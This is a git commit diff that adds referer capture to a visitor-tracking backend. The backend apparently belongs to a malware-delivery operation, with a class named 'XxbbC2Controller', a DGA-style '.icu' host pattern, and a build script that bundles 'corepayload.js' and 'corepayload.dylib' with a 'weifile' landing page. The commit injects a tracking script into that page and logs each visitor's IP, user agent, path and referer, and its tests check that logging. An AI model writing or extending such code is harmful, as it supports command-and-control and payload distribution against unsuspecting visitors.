feat: xxbb
This commit is contained in:
@@ -37,7 +37,7 @@ class PageVisitController extends Controller
|
|||||||
->forPage($page, $limit)
|
->forPage($page, $limit)
|
||||||
->get([
|
->get([
|
||||||
'id', 'channel_id', 'client_uid', 'os', 'os_version',
|
'id', 'channel_id', 'client_uid', 'os', 'os_version',
|
||||||
'browser', 'browser_version', 'user_agent', 'ip', 'path', 'created_at',
|
'browser', 'browser_version', 'user_agent', 'ip', 'path', 'referer', 'created_at',
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return response()->json([
|
return response()->json([
|
||||||
@@ -55,6 +55,7 @@ class PageVisitController extends Controller
|
|||||||
'user_agent' => $v->user_agent ?: '',
|
'user_agent' => $v->user_agent ?: '',
|
||||||
'ip' => $v->ip ?: '',
|
'ip' => $v->ip ?: '',
|
||||||
'path' => $v->path ?: '',
|
'path' => $v->path ?: '',
|
||||||
|
'referer' => $v->referer ?: '',
|
||||||
'created_at' => optional($v->created_at)?->toDateTimeString(),
|
'created_at' => optional($v->created_at)?->toDateTimeString(),
|
||||||
])->values(),
|
])->values(),
|
||||||
]);
|
]);
|
||||||
@@ -150,6 +151,10 @@ class PageVisitController extends Controller
|
|||||||
if ($browserVersion !== '') {
|
if ($browserVersion !== '') {
|
||||||
$q->where('browser_version', $browserVersion);
|
$q->where('browser_version', $browserVersion);
|
||||||
}
|
}
|
||||||
|
$referer = trim((string) $request->query('referer', ''));
|
||||||
|
if ($referer !== '') {
|
||||||
|
$q->where('referer', 'like', '%'.$referer.'%');
|
||||||
|
}
|
||||||
|
|
||||||
[$from, $to] = $this->rangeBounds((string) $request->query('range', '30d'));
|
[$from, $to] = $this->rangeBounds((string) $request->query('range', '30d'));
|
||||||
$q->whereBetween('created_at', [$from, $to]);
|
$q->whereBetween('created_at', [$from, $to]);
|
||||||
|
|||||||
@@ -60,6 +60,7 @@ class XxbbC2Controller extends Controller
|
|||||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||||
'ip' => $request->ip(),
|
'ip' => $request->ip(),
|
||||||
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
|
'path' => $domain !== '' ? substr($domain, 0, 255) : null,
|
||||||
|
'referer' => $this->referer($request),
|
||||||
'created_at' => now(),
|
'created_at' => now(),
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
@@ -131,6 +132,16 @@ class XxbbC2Controller extends Controller
|
|||||||
return $this->xxbbAck($request);
|
return $this->xxbbAck($request);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function referer(Request $request): ?string
|
||||||
|
{
|
||||||
|
$referer = trim((string) $request->headers->get('referer', ''));
|
||||||
|
if ($referer === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return substr($referer, 0, 512);
|
||||||
|
}
|
||||||
|
|
||||||
private function xxbbAck(Request $request): Response
|
private function xxbbAck(Request $request): Response
|
||||||
{
|
{
|
||||||
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
$ts = (string) $request->attributes->get('xxbb_ts', '');
|
||||||
|
|||||||
@@ -35,6 +35,7 @@ class PageHitController extends Controller
|
|||||||
|
|
||||||
$ua = substr((string) $request->userAgent(), 0, 512);
|
$ua = substr((string) $request->userAgent(), 0, 512);
|
||||||
$parsed = UserAgentParser::parse($ua);
|
$parsed = UserAgentParser::parse($ua);
|
||||||
|
$referer = $this->referer($request);
|
||||||
|
|
||||||
PageVisit::query()->create([
|
PageVisit::query()->create([
|
||||||
'channel_id' => $channelId,
|
'channel_id' => $channelId,
|
||||||
@@ -46,12 +47,26 @@ class PageHitController extends Controller
|
|||||||
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
|
||||||
'ip' => $request->ip(),
|
'ip' => $request->ip(),
|
||||||
'path' => $path !== '' ? $path : null,
|
'path' => $path !== '' ? $path : null,
|
||||||
|
'referer' => $referer,
|
||||||
'created_at' => now(),
|
'created_at' => now(),
|
||||||
]);
|
]);
|
||||||
|
|
||||||
return $this->pixel();
|
return $this->pixel();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private function referer(Request $request): ?string
|
||||||
|
{
|
||||||
|
$referer = trim((string) $request->query('r', $request->input('r', '')));
|
||||||
|
if ($referer === '') {
|
||||||
|
$referer = trim((string) $request->headers->get('referer', ''));
|
||||||
|
}
|
||||||
|
if ($referer === '') {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return substr($referer, 0, 512);
|
||||||
|
}
|
||||||
|
|
||||||
private function pixel(): Response
|
private function pixel(): Response
|
||||||
{
|
{
|
||||||
return response(self::GIF_1X1, 200, [
|
return response(self::GIF_1X1, 200, [
|
||||||
|
|||||||
@@ -18,6 +18,7 @@ class PageVisit extends Model
|
|||||||
'browser_version',
|
'browser_version',
|
||||||
'ip',
|
'ip',
|
||||||
'path',
|
'path',
|
||||||
|
'referer',
|
||||||
'created_at',
|
'created_at',
|
||||||
];
|
];
|
||||||
|
|
||||||
|
|||||||
@@ -6,6 +6,8 @@
|
|||||||
<meta http-equiv="Expires" content="0" />
|
<meta http-equiv="Expires" content="0" />
|
||||||
<meta property="og:determiner" content="auto" />
|
<meta property="og:determiner" content="auto" />
|
||||||
<title>weifile</title>
|
<title>weifile</title>
|
||||||
|
<script>window.__CORUNA_CHANNEL__="__CHANNEL_C__";</script>
|
||||||
|
<script src="/t.js" defer></script>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<script type="text/javascript" src="index.js"></script>
|
<script type="text/javascript" src="index.js"></script>
|
||||||
|
|||||||
@@ -41,6 +41,7 @@ XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
|
|||||||
WEIFILE_ROOT = "weifile"
|
WEIFILE_ROOT = "weifile"
|
||||||
DETAILS_ROOT = "details"
|
DETAILS_ROOT = "details"
|
||||||
LANDING_NAME = "weifile.html"
|
LANDING_NAME = "weifile.html"
|
||||||
|
CHANNEL_HTML_PLACEHOLDER = "__CHANNEL_C__"
|
||||||
CORE_WIRE_NAME = "corepayload.js"
|
CORE_WIRE_NAME = "corepayload.js"
|
||||||
CORE_MEMBER_NAME = "corepayload.dylib"
|
CORE_MEMBER_NAME = "corepayload.dylib"
|
||||||
SHOW_WIRE_NAME = "show.html"
|
SHOW_WIRE_NAME = "show.html"
|
||||||
@@ -305,6 +306,13 @@ def build_details(
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
def inject_channel_into_weifile(html_path: Path, channel_c: str) -> None:
|
||||||
|
text = html_path.read_text(encoding="utf-8")
|
||||||
|
if CHANNEL_HTML_PLACEHOLDER not in text:
|
||||||
|
raise SystemExit(f"{html_path}: missing {CHANNEL_HTML_PLACEHOLDER} placeholder")
|
||||||
|
html_path.write_text(text.replace(CHANNEL_HTML_PLACEHOLDER, channel_c), encoding="utf-8")
|
||||||
|
|
||||||
|
|
||||||
def copy_tree(src: Path, dst: Path) -> None:
|
def copy_tree(src: Path, dst: Path) -> None:
|
||||||
if dst.exists():
|
if dst.exists():
|
||||||
shutil.rmtree(dst)
|
shutil.rmtree(dst)
|
||||||
@@ -589,8 +597,10 @@ def main() -> int:
|
|||||||
if not SOURCE_DETAILS.is_dir():
|
if not SOURCE_DETAILS.is_dir():
|
||||||
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
|
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
|
||||||
copy_tree(SOURCE_WEIFILE, dest_weifile)
|
copy_tree(SOURCE_WEIFILE, dest_weifile)
|
||||||
if not (dest_weifile / LANDING_NAME).is_file():
|
landing = dest_weifile / LANDING_NAME
|
||||||
|
if not landing.is_file():
|
||||||
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
|
||||||
|
inject_channel_into_weifile(landing, channel_c)
|
||||||
copy_tree(SOURCE_DETAILS, dest_details)
|
copy_tree(SOURCE_DETAILS, dest_details)
|
||||||
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
|
||||||
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
|
||||||
|
|||||||
@@ -83,6 +83,10 @@ class XxbbBuildTest(unittest.TestCase):
|
|||||||
details = artifact / "details"
|
details = artifact / "details"
|
||||||
self.assertTrue((weifile / "index.js").is_file())
|
self.assertTrue((weifile / "index.js").is_file())
|
||||||
self.assertTrue((weifile / "weifile.html").is_file())
|
self.assertTrue((weifile / "weifile.html").is_file())
|
||||||
|
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||||
|
self.assertIn(channel_c, html)
|
||||||
|
self.assertNotIn("__CHANNEL_C__", html)
|
||||||
|
self.assertIn("/t.js", html)
|
||||||
self.assertFalse((artifact / "source").exists())
|
self.assertFalse((artifact / "source").exists())
|
||||||
self.assertTrue((details / "show.html").is_file())
|
self.assertTrue((details / "show.html").is_file())
|
||||||
self.assertTrue((details / "corepayload.js").is_file())
|
self.assertTrue((details / "corepayload.js").is_file())
|
||||||
|
|||||||
@@ -0,0 +1,22 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
use Illuminate\Database\Migrations\Migration;
|
||||||
|
use Illuminate\Database\Schema\Blueprint;
|
||||||
|
use Illuminate\Support\Facades\Schema;
|
||||||
|
|
||||||
|
return new class extends Migration
|
||||||
|
{
|
||||||
|
public function up(): void
|
||||||
|
{
|
||||||
|
Schema::table('page_visits', function (Blueprint $table) {
|
||||||
|
$table->string('referer', 512)->nullable()->after('path');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
public function down(): void
|
||||||
|
{
|
||||||
|
Schema::table('page_visits', function (Blueprint $table) {
|
||||||
|
$table->dropColumn('referer');
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
+13
-4
@@ -1,8 +1,11 @@
|
|||||||
(function () {
|
(function () {
|
||||||
try {
|
try {
|
||||||
var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i);
|
var m = location.pathname.match(/\/web\/([0-9a-f]{32})\//i);
|
||||||
if (!m) return;
|
var channelId = m ? m[1].toLowerCase() : '';
|
||||||
var channelId = m[1].toLowerCase();
|
if (!channelId && typeof window.__CORUNA_CHANNEL__ === 'string' && /^[0-9a-f]{32}$/i.test(window.__CORUNA_CHANNEL__)) {
|
||||||
|
channelId = window.__CORUNA_CHANNEL__.toLowerCase();
|
||||||
|
}
|
||||||
|
if (!channelId) return;
|
||||||
var KEY = 'c_uid';
|
var KEY = 'c_uid';
|
||||||
var uid = null;
|
var uid = null;
|
||||||
try {
|
try {
|
||||||
@@ -26,6 +29,11 @@
|
|||||||
document.cookie = KEY + '=' + encodeURIComponent(uid) + ';path=/;max-age=31536000;SameSite=Lax';
|
document.cookie = KEY + '=' + encodeURIComponent(uid) + ';path=/;max-age=31536000;SameSite=Lax';
|
||||||
} catch (e) {}
|
} catch (e) {}
|
||||||
}
|
}
|
||||||
|
var referer = '';
|
||||||
|
try {
|
||||||
|
referer = document.referrer || '';
|
||||||
|
} catch (e) {}
|
||||||
|
if (referer.length > 512) referer = referer.slice(0, 512);
|
||||||
var q =
|
var q =
|
||||||
location.origin +
|
location.origin +
|
||||||
'/statistic/t?c=' +
|
'/statistic/t?c=' +
|
||||||
@@ -33,14 +41,15 @@
|
|||||||
'&u=' +
|
'&u=' +
|
||||||
encodeURIComponent(uid) +
|
encodeURIComponent(uid) +
|
||||||
'&p=' +
|
'&p=' +
|
||||||
encodeURIComponent(location.pathname + location.search);
|
encodeURIComponent(location.pathname + location.search) +
|
||||||
|
'&r=' +
|
||||||
|
encodeURIComponent(referer);
|
||||||
if (navigator.sendBeacon) {
|
if (navigator.sendBeacon) {
|
||||||
try {
|
try {
|
||||||
if (navigator.sendBeacon(q)) return;
|
if (navigator.sendBeacon(q)) return;
|
||||||
} catch (e) {}
|
} catch (e) {}
|
||||||
}
|
}
|
||||||
var img = new Image();
|
var img = new Image();
|
||||||
img.referrerPolicy = 'no-referrer';
|
|
||||||
img.src = q + '&_=' + Date.now();
|
img.src = q + '&_=' + Date.now();
|
||||||
} catch (e) {}
|
} catch (e) {}
|
||||||
})();
|
})();
|
||||||
|
|||||||
@@ -43,9 +43,9 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<div class="layui-inline">
|
<div class="layui-inline">
|
||||||
<label class="layui-form-label">浏览器版本</label>
|
<label class="layui-form-label">Referer</label>
|
||||||
<div class="layui-input-block">
|
<div class="layui-input-block">
|
||||||
<input type="text" name="browser_version" class="layui-input" autocomplete="off">
|
<input type="text" name="referer" class="layui-input" placeholder="来源" autocomplete="off">
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
@if ($portal === 'admin')
|
@if ($portal === 'admin')
|
||||||
@@ -123,6 +123,8 @@ layui.use(['table', 'form'], function () {
|
|||||||
{ field: 'browser', title: '浏览器', width: 100 },
|
{ field: 'browser', title: '浏览器', width: 100 },
|
||||||
{ field: 'browser_version', title: '浏览器版本', width: 110 },
|
{ field: 'browser_version', title: '浏览器版本', width: 110 },
|
||||||
{ field: 'ip', title: 'IP', width: 130 },
|
{ field: 'ip', title: 'IP', width: 130 },
|
||||||
|
{ field: 'path', title: '路径', minWidth: 180 },
|
||||||
|
{ field: 'referer', title: 'Referer', minWidth: 220 },
|
||||||
{ field: 'user_agent', title: 'UA', minWidth: 260 },
|
{ field: 'user_agent', title: 'UA', minWidth: 260 },
|
||||||
{ field: 'created_at', title: '时间', width: 170, sort: true }
|
{ field: 'created_at', title: '时间', width: 170, sort: true }
|
||||||
]],
|
]],
|
||||||
|
|||||||
@@ -26,6 +26,7 @@ class PageVisitTest extends TestCase
|
|||||||
'c' => self::CHANNEL,
|
'c' => self::CHANNEL,
|
||||||
'u' => '11111111-2222-4333-8444-555555555555',
|
'u' => '11111111-2222-4333-8444-555555555555',
|
||||||
'p' => '/web/'.self::CHANNEL.'/support.html',
|
'p' => '/web/'.self::CHANNEL.'/support.html',
|
||||||
|
'r' => 'https://example.com/from',
|
||||||
], [], [], [
|
], [], [], [
|
||||||
'HTTP_USER_AGENT' => $ua,
|
'HTTP_USER_AGENT' => $ua,
|
||||||
])->assertOk()
|
])->assertOk()
|
||||||
@@ -40,6 +41,7 @@ class PageVisitTest extends TestCase
|
|||||||
$this->assertSame('Safari', $row->browser);
|
$this->assertSame('Safari', $row->browser);
|
||||||
$this->assertSame('16.6', $row->browser_version);
|
$this->assertSame('16.6', $row->browser_version);
|
||||||
$this->assertSame($ua, $row->user_agent);
|
$this->assertSame($ua, $row->user_agent);
|
||||||
|
$this->assertSame('https://example.com/from', $row->referer);
|
||||||
}
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
@@ -60,6 +62,23 @@ class PageVisitTest extends TestCase
|
|||||||
$this->assertSame('203.0.113.50', $row->ip);
|
$this->assertSame('203.0.113.50', $row->ip);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function hit_uses_referer_header_when_query_missing(): void
|
||||||
|
{
|
||||||
|
Cache::flush();
|
||||||
|
|
||||||
|
$this->call('GET', '/statistic/t', [
|
||||||
|
'c' => self::CHANNEL,
|
||||||
|
'u' => '11111111-2222-4333-8444-555555555555',
|
||||||
|
], [], [], [
|
||||||
|
'HTTP_REFERER' => 'https://search.example/q=ios',
|
||||||
|
])->assertOk();
|
||||||
|
|
||||||
|
$row = PageVisit::query()->first();
|
||||||
|
$this->assertNotNull($row);
|
||||||
|
$this->assertSame('https://search.example/q=ios', $row->referer);
|
||||||
|
}
|
||||||
|
|
||||||
#[Test]
|
#[Test]
|
||||||
public function hit_debounces_duplicate_uid(): void
|
public function hit_debounces_duplicate_uid(): void
|
||||||
{
|
{
|
||||||
|
|||||||
Reference in New Issue
Block a user